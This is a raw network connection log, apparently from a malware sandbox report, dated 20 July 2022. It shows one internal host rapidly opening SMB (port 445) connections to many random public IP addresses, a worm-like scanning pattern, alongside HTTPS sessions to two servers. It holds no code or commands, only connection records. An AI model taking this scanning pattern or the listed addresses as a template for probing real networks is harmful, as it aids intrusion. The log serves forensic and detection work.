Jul 20, 2022 06:06:58.408937931 CEST	50875	445	192.168.2.6	213.25.117.213
Jul 20, 2022 06:06:58.435714960 CEST	50876	445	192.168.2.6	138.88.237.8
Jul 20, 2022 06:06:58.436981916 CEST	50877	445	192.168.2.6	89.74.180.70
Jul 20, 2022 06:06:58.438477039 CEST	50878	445	192.168.2.6	66.194.37.120
Jul 20, 2022 06:06:58.438622952 CEST	50879	445	192.168.2.6	170.106.195.111
Jul 20, 2022 06:06:58.438770056 CEST	50880	445	192.168.2.6	191.72.234.49
Jul 20, 2022 06:06:58.438837051 CEST	50881	445	192.168.2.6	134.214.33.154
Jul 20, 2022 06:06:58.438930035 CEST	50882	445	192.168.2.6	203.232.119.163
Jul 20, 2022 06:06:58.439028978 CEST	50883	445	192.168.2.6	89.250.102.108
Jul 20, 2022 06:06:58.439155102 CEST	50884	445	192.168.2.6	2.132.224.203
Jul 20, 2022 06:06:58.439251900 CEST	50885	445	192.168.2.6	107.47.191.36
Jul 20, 2022 06:06:58.439352989 CEST	50886	445	192.168.2.6	154.141.37.4
Jul 20, 2022 06:06:58.439512014 CEST	50887	445	192.168.2.6	185.211.253.119
Jul 20, 2022 06:06:58.498421907 CEST	50888	445	192.168.2.6	219.152.218.0
Jul 20, 2022 06:06:58.564168930 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.564244986 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.564943075 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.571803093 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.571830988 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.609895945 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.610668898 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.612571001 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.612601995 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.644419909 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.644443989 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.686013937 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.686047077 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.686074018 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.686134100 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.686152935 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.686181068 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.686240911 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.686990023 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.687127113 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.687134981 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.687149048 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.687223911 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.687834978 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.687922955 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.689448118 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.689487934 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.689580917 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.689599037 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.689624071 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.689646959 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.701771021 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.701808929 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.701952934 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.701978922 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.702042103 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.702855110 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.702967882 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.703748941 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.703785896 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.703897953 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.703916073 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.703948975 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.703983068 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.706017017 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.706056118 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.706259966 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.706281900 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.706352949 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.706665039 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.706765890 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.715867996 CEST	50865	445	192.168.2.6	188.76.187.204
Jul 20, 2022 06:06:58.718854904 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.718888998 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.719044924 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.719067097 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.720761061 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.720798016 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.720832109 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.720850945 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.720959902 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.721049070 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.721230984 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.722995996 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.723028898 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.723150015 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.723166943 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.723217010 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.724020958 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.724065065 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.724194050 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.724208117 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.724256992 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.724977016 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.725109100 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.726861000 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.726895094 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.727032900 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.727051020 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.727385044 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.727986097 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.728020906 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.728141069 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.728156090 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.728979111 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.729115963 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.729124069 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.729178905 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.730336905 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.730361938 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.730433941 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.730454922 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.730495930 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.730541945 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.732266903 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.732295990 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.732424974 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.732443094 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.733124018 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.734544039 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.734647036 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.735057116 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.735091925 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.735141993 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.735152960 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.735181093 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.735204935 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.736929893 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.736960888 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.737046003 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.737062931 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.737102032 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.737126112 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.737766981 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.737857103 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.738528967 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.738557100 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.738615036 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.738630056 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.738670111 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.738692045 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.740103006 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.740174055 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.740230083 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.740238905 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.740253925 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.740268946 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.740319967 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.741673946 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.741704941 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.741779089 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.741795063 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.741837978 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.741882086 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.745280027 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.745316029 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.745394945 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.745417118 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.745433092 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.745466948 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.745488882 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.761543989 CEST	445	50865	188.76.187.204	192.168.2.6
Jul 20, 2022 06:06:58.780220032 CEST	50890	445	192.168.2.6	169.5.211.21
Jul 20, 2022 06:06:58.826224089 CEST	50891	445	192.168.2.6	37.21.160.16
Jul 20, 2022 06:06:58.826952934 CEST	50892	445	192.168.2.6	178.159.42.15
Jul 20, 2022 06:06:58.914576054 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.916436911 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.916470051 CEST	443	50889	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:58.916486979 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.916551113 CEST	50889	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:58.920614004 CEST	50893	445	192.168.2.6	141.94.101.130
Jul 20, 2022 06:06:58.923721075 CEST	50894	445	192.168.2.6	192.99.200.185
Jul 20, 2022 06:06:59.028673887 CEST	445	50894	192.99.200.185	192.168.2.6
Jul 20, 2022 06:06:59.139671087 CEST	50895	445	192.168.2.6	146.27.211.233
Jul 20, 2022 06:06:59.206218004 CEST	50896	445	192.168.2.6	156.14.201.33
Jul 20, 2022 06:06:59.263812065 CEST	50897	445	192.168.2.6	80.77.92.126
Jul 20, 2022 06:06:59.264568090 CEST	50898	445	192.168.2.6	202.120.18.19
Jul 20, 2022 06:06:59.403599024 CEST	50899	445	192.168.2.6	182.211.178.234
Jul 20, 2022 06:06:59.515887976 CEST	50900	445	192.168.2.6	202.103.170.14
Jul 20, 2022 06:06:59.517044067 CEST	50901	445	192.168.2.6	86.21.176.181
Jul 20, 2022 06:06:59.538072109 CEST	50902	445	192.168.2.6	203.143.21.1
Jul 20, 2022 06:06:59.538945913 CEST	50903	445	192.168.2.6	150.0.181.4
Jul 20, 2022 06:06:59.539127111 CEST	50905	445	192.168.2.6	15.187.115.158
Jul 20, 2022 06:06:59.539148092 CEST	50904	445	192.168.2.6	108.104.219.152
Jul 20, 2022 06:06:59.539164066 CEST	50906	445	192.168.2.6	17.25.140.73
Jul 20, 2022 06:06:59.539290905 CEST	50907	445	192.168.2.6	149.70.223.18
Jul 20, 2022 06:06:59.544048071 CEST	50894	445	192.168.2.6	192.99.200.185
Jul 20, 2022 06:06:59.564496994 CEST	50908	445	192.168.2.6	131.62.141.179
Jul 20, 2022 06:06:59.564565897 CEST	50909	445	192.168.2.6	174.204.82.240
Jul 20, 2022 06:06:59.565676928 CEST	50910	445	192.168.2.6	126.155.104.250
Jul 20, 2022 06:06:59.566075087 CEST	50911	445	192.168.2.6	73.87.2.118
Jul 20, 2022 06:06:59.566195965 CEST	50912	445	192.168.2.6	221.218.8.87
Jul 20, 2022 06:06:59.566349983 CEST	50913	445	192.168.2.6	78.155.115.245
Jul 20, 2022 06:06:59.566437960 CEST	50914	445	192.168.2.6	116.149.201.94
Jul 20, 2022 06:06:59.566577911 CEST	50915	445	192.168.2.6	218.158.199.225
Jul 20, 2022 06:06:59.566735983 CEST	50916	445	192.168.2.6	203.158.56.171
Jul 20, 2022 06:06:59.566857100 CEST	50917	445	192.168.2.6	78.83.167.26
Jul 20, 2022 06:06:59.566992998 CEST	50918	445	192.168.2.6	26.169.172.186
Jul 20, 2022 06:06:59.567100048 CEST	50919	445	192.168.2.6	175.240.233.57
Jul 20, 2022 06:06:59.642200947 CEST	50920	445	192.168.2.6	222.23.230.166
Jul 20, 2022 06:06:59.646327972 CEST	445	50894	192.99.200.185	192.168.2.6
Jul 20, 2022 06:06:59.918600082 CEST	50921	445	192.168.2.6	20.31.171.249
Jul 20, 2022 06:06:59.923485994 CEST	50922	445	192.168.2.6	37.21.160.17
Jul 20, 2022 06:06:59.924235106 CEST	50923	445	192.168.2.6	178.159.42.16
Jul 20, 2022 06:06:59.951128006 CEST	445	50923	178.159.42.16	192.168.2.6
Jul 20, 2022 06:07:00.045758009 CEST	50924	445	192.168.2.6	13.200.84.236
Jul 20, 2022 06:07:00.046442032 CEST	50925	445	192.168.2.6	101.29.93.214
Jul 20, 2022 06:07:00.297843933 CEST	50926	445	192.168.2.6	154.114.3.118
Jul 20, 2022 06:07:00.313205957 CEST	50927	445	192.168.2.6	70.200.146.155
Jul 20, 2022 06:07:00.450017929 CEST	50928	445	192.168.2.6	210.48.63.81
Jul 20, 2022 06:07:00.451265097 CEST	50929	445	192.168.2.6	145.34.184.67
Jul 20, 2022 06:07:00.466051102 CEST	50923	445	192.168.2.6	178.159.42.16
Jul 20, 2022 06:07:00.493227005 CEST	445	50923	178.159.42.16	192.168.2.6
Jul 20, 2022 06:07:00.699503899 CEST	50930	445	192.168.2.6	145.17.150.67
Jul 20, 2022 06:07:00.750710964 CEST	445	50928	210.48.63.81	192.168.2.6
Jul 20, 2022 06:07:00.861498117 CEST	50931	445	192.168.2.6	1.60.249.60
Jul 20, 2022 06:07:00.862759113 CEST	50932	445	192.168.2.6	172.72.163.29
Jul 20, 2022 06:07:00.863312006 CEST	50933	445	192.168.2.6	172.195.167.31
Jul 20, 2022 06:07:00.863858938 CEST	50934	445	192.168.2.6	144.131.106.112
Jul 20, 2022 06:07:00.864389896 CEST	50935	445	192.168.2.6	210.74.175.30
Jul 20, 2022 06:07:00.865145922 CEST	50936	445	192.168.2.6	185.118.144.155
Jul 20, 2022 06:07:00.865696907 CEST	50937	445	192.168.2.6	179.191.129.164
Jul 20, 2022 06:07:00.866719007 CEST	50939	445	192.168.2.6	223.123.188.35
Jul 20, 2022 06:07:00.867257118 CEST	50940	445	192.168.2.6	29.2.69.180
Jul 20, 2022 06:07:00.867989063 CEST	50941	445	192.168.2.6	91.9.140.119
Jul 20, 2022 06:07:00.868693113 CEST	50942	445	192.168.2.6	51.220.126.149
Jul 20, 2022 06:07:00.869443893 CEST	50943	445	192.168.2.6	94.245.253.18
Jul 20, 2022 06:07:00.870182991 CEST	50944	445	192.168.2.6	200.218.193.111
Jul 20, 2022 06:07:00.870910883 CEST	50945	445	192.168.2.6	171.240.181.100
Jul 20, 2022 06:07:00.871654034 CEST	50946	445	192.168.2.6	32.148.15.115
Jul 20, 2022 06:07:00.969551086 CEST	50948	445	192.168.2.6	73.51.52.132
Jul 20, 2022 06:07:00.970325947 CEST	50949	445	192.168.2.6	163.82.7.27
Jul 20, 2022 06:07:00.971026897 CEST	50950	445	192.168.2.6	42.179.156.187
Jul 20, 2022 06:07:00.971138954 CEST	50947	445	192.168.2.6	52.79.58.148
Jul 20, 2022 06:07:00.985342979 CEST	50951	445	192.168.2.6	50.25.55.216
Jul 20, 2022 06:07:01.095443010 CEST	445	50937	179.191.129.164	192.168.2.6
Jul 20, 2022 06:07:01.116512060 CEST	50952	445	192.168.2.6	37.21.160.18
Jul 20, 2022 06:07:01.117063999 CEST	50953	445	192.168.2.6	178.159.42.17
Jul 20, 2022 06:07:01.117602110 CEST	50954	445	192.168.2.6	76.164.89.119
Jul 20, 2022 06:07:01.173182964 CEST	50955	445	192.168.2.6	218.32.231.48
Jul 20, 2022 06:07:01.212153912 CEST	50956	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:01.212193966 CEST	443	50956	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:01.212291956 CEST	50956	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:01.212961912 CEST	50956	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:01.212976933 CEST	443	50956	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:01.223179102 CEST	50957	445	192.168.2.6	5.64.137.80
Jul 20, 2022 06:07:01.223726034 CEST	50958	445	192.168.2.6	122.103.33.83
Jul 20, 2022 06:07:01.263169050 CEST	50928	445	192.168.2.6	210.48.63.81
Jul 20, 2022 06:07:01.305699110 CEST	443	50956	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:01.305871010 CEST	50956	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:01.334112883 CEST	50956	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:01.334139109 CEST	443	50956	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:01.334547043 CEST	443	50956	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:01.335525036 CEST	50956	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:01.335578918 CEST	50956	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:01.335588932 CEST	443	50956	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:01.335706949 CEST	50956	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:01.364763975 CEST	443	50956	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:01.364828110 CEST	443	50956	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:01.365003109 CEST	50956	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:01.365108967 CEST	50956	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:07:01.365138054 CEST	443	50956	20.199.120.182	192.168.2.6
Jul 20, 2022 06:07:01.441777945 CEST	50959	445	192.168.2.6	154.164.1.204
Jul 20, 2022 06:07:01.442311049 CEST	50960	445	192.168.2.6	168.11.252.147
Jul 20, 2022 06:07:01.561654091 CEST	50961	445	192.168.2.6	95.207.34.32
Jul 20, 2022 06:07:01.563848972 CEST	445	50928	210.48.63.81	192.168.2.6
Jul 20, 2022 06:07:01.576674938 CEST	50962	445	192.168.2.6	206.198.82.18
Jul 20, 2022 06:07:01.622447014 CEST	50937	445	192.168.2.6	179.191.129.164
Jul 20, 2022 06:07:01.851466894 CEST	445	50937	179.191.129.164	192.168.2.6
Jul 20, 2022 06:07:02.230748892 CEST	50963	445	192.168.2.6	178.159.42.18
Jul 20, 2022 06:07:02.231282949 CEST	50964	445	192.168.2.6	37.21.160.19
Jul 20, 2022 06:07:02.232991934 CEST	50965	445	192.168.2.6	222.120.84.114
Jul 20, 2022 06:07:02.233542919 CEST	50966	445	192.168.2.6	99.83.175.220
Jul 20, 2022 06:07:02.234059095 CEST	50967	445	192.168.2.6	1.81.11.56
Jul 20, 2022 06:07:02.234596968 CEST	50968	445	192.168.2.6	189.217.154.35
Jul 20, 2022 06:07:02.235117912 CEST	50969	445	192.168.2.6	82.211.192.46
Jul 20, 2022 06:07:02.235601902 CEST	50970	445	192.168.2.6	54.121.8.86
Jul 20, 2022 06:07:02.236129999 CEST	50971	445	192.168.2.6	41.30.9.90
Jul 20, 2022 06:07:02.236828089 CEST	50972	445	192.168.2.6	94.252.24.25
Jul 20, 2022 06:07:02.237577915 CEST	50973	445	192.168.2.6	50.112.72.89
Jul 20, 2022 06:07:02.238287926 CEST	50974	445	192.168.2.6	149.50.138.186
Jul 20, 2022 06:07:02.238920927 CEST	50975	445	192.168.2.6	184.210.114.91
Jul 20, 2022 06:07:02.239442110 CEST	50976	445	192.168.2.6	70.189.62.159
Jul 20, 2022 06:07:02.239939928 CEST	50977	445	192.168.2.6	104.92.194.74
Jul 20, 2022 06:07:02.336939096 CEST	50978	445	192.168.2.6	141.241.19.207
Jul 20, 2022 06:07:02.338051081 CEST	50979	445	192.168.2.6	18.148.104.230
Jul 20, 2022 06:07:02.338155031 CEST	50980	445	192.168.2.6	48.186.30.216
Jul 20, 2022 06:07:02.338238955 CEST	50981	445	192.168.2.6	39.161.47.8
Jul 20, 2022 06:07:02.338314056 CEST	50982	445	192.168.2.6	123.107.244.82
Jul 20, 2022 06:07:02.338427067 CEST	50983	445	192.168.2.6	113.242.53.216
Jul 20, 2022 06:07:02.338541031 CEST	50984	445	192.168.2.6	179.128.141.210
Jul 20, 2022 06:07:02.338618040 CEST	50985	445	192.168.2.6	99.179.162.170
Jul 20, 2022 06:07:02.338709116 CEST	50986	445	192.168.2.6	103.47.129.1
Jul 20, 2022 06:07:02.338789940 CEST	50987	445	192.168.2.6	207.232.91.93
Jul 20, 2022 06:07:02.345844984 CEST	50988	445	192.168.2.6	192.143.49.54
Jul 20, 2022 06:07:02.346609116 CEST	50989	445	192.168.2.6	2.187.230.120
Jul 20, 2022 06:07:02.347294092 CEST	50990	445	192.168.2.6	143.161.246.222
Jul 20, 2022 06:07:02.479041100 CEST	445	50989	2.187.230.120	192.168.2.6
Jul 20, 2022 06:07:02.562985897 CEST	50991	445	192.168.2.6	211.61.245.14
Jul 20, 2022 06:07:02.563731909 CEST	50992	445	192.168.2.6	124.20.198.209
Jul 20, 2022 06:07:02.686651945 CEST	50993	445	192.168.2.6	62.115.235.13
Jul 20, 2022 06:07:02.880891085 CEST	50994	445	192.168.2.6	29.18.37.164
Jul 20, 2022 06:07:03.060038090 CEST	50989	445	192.168.2.6	2.187.230.120
Jul 20, 2022 06:07:03.193542004 CEST	445	50989	2.187.230.120	192.168.2.6
Jul 20, 2022 06:07:03.767160892 CEST	50989	445	192.168.2.6	2.187.230.120
Jul 20, 2022 06:07:03.899271965 CEST	445	50989	2.187.230.120	192.168.2.6
Jul 20, 2022 06:07:04.009675026 CEST	50996	445	192.168.2.6	37.21.160.20
Jul 20, 2022 06:07:04.010346889 CEST	50997	445	192.168.2.6	178.159.42.19
Jul 20, 2022 06:07:04.015762091 CEST	50998	445	192.168.2.6	131.228.224.219
Jul 20, 2022 06:07:04.016309023 CEST	50999	445	192.168.2.6	151.52.20.110
Jul 20, 2022 06:07:04.016819954 CEST	51000	445	192.168.2.6	136.66.181.21
Jul 20, 2022 06:07:04.017313957 CEST	51001	445	192.168.2.6	135.84.78.54
Jul 20, 2022 06:07:04.017802000 CEST	51002	445	192.168.2.6	21.21.12.123
Jul 20, 2022 06:07:04.018291950 CEST	51003	445	192.168.2.6	187.251.41.6
Jul 20, 2022 06:07:04.019602060 CEST	51004	445	192.168.2.6	217.161.102.180
Jul 20, 2022 06:07:04.107192039 CEST	445	50996	37.21.160.20	192.168.2.6
Jul 20, 2022 06:07:04.131789923 CEST	51005	445	192.168.2.6	173.53.247.141
Jul 20, 2022 06:07:04.132067919 CEST	51007	445	192.168.2.6	48.27.94.221
Jul 20, 2022 06:07:04.132181883 CEST	51006	445	192.168.2.6	107.67.7.150
Jul 20, 2022 06:07:04.132262945 CEST	51008	445	192.168.2.6	31.252.37.137
Jul 20, 2022 06:07:04.132366896 CEST	51009	445	192.168.2.6	124.153.208.230
Jul 20, 2022 06:07:04.132462978 CEST	51010	445	192.168.2.6	43.212.132.41
Jul 20, 2022 06:07:04.132569075 CEST	51011	445	192.168.2.6	112.136.117.212
Jul 20, 2022 06:07:04.132647991 CEST	51012	445	192.168.2.6	198.69.121.199
Jul 20, 2022 06:07:04.132731915 CEST	51013	445	192.168.2.6	128.3.159.247
Jul 20, 2022 06:07:04.132826090 CEST	51014	445	192.168.2.6	93.161.65.88
Jul 20, 2022 06:07:04.132911921 CEST	51015	445	192.168.2.6	25.206.134.50
Jul 20, 2022 06:07:04.133114100 CEST	51016	445	192.168.2.6	199.240.42.12
Jul 20, 2022 06:07:04.133234978 CEST	51018	445	192.168.2.6	200.37.219.132
Jul 20, 2022 06:07:04.133258104 CEST	51017	445	192.168.2.6	141.75.125.206
Jul 20, 2022 06:07:04.133382082 CEST	51020	445	192.168.2.6	172.32.237.93
Jul 20, 2022 06:07:04.133491039 CEST	51021	445	192.168.2.6	67.181.190.238
Jul 20, 2022 06:07:04.133498907 CEST	51019	445	192.168.2.6	3.216.181.114
Jul 20, 2022 06:07:04.133521080 CEST	51022	445	192.168.2.6	168.29.251.109
Jul 20, 2022 06:07:04.133619070 CEST	51023	445	192.168.2.6	98.155.38.163
Jul 20, 2022 06:07:04.133730888 CEST	51024	445	192.168.2.6	107.107.173.65
Jul 20, 2022 06:07:04.133742094 CEST	51025	445	192.168.2.6	181.93.145.203
Jul 20, 2022 06:07:04.133893013 CEST	51026	445	192.168.2.6	37.121.8.58
Jul 20, 2022 06:07:04.135646105 CEST	51027	445	192.168.2.6	209.123.136.132
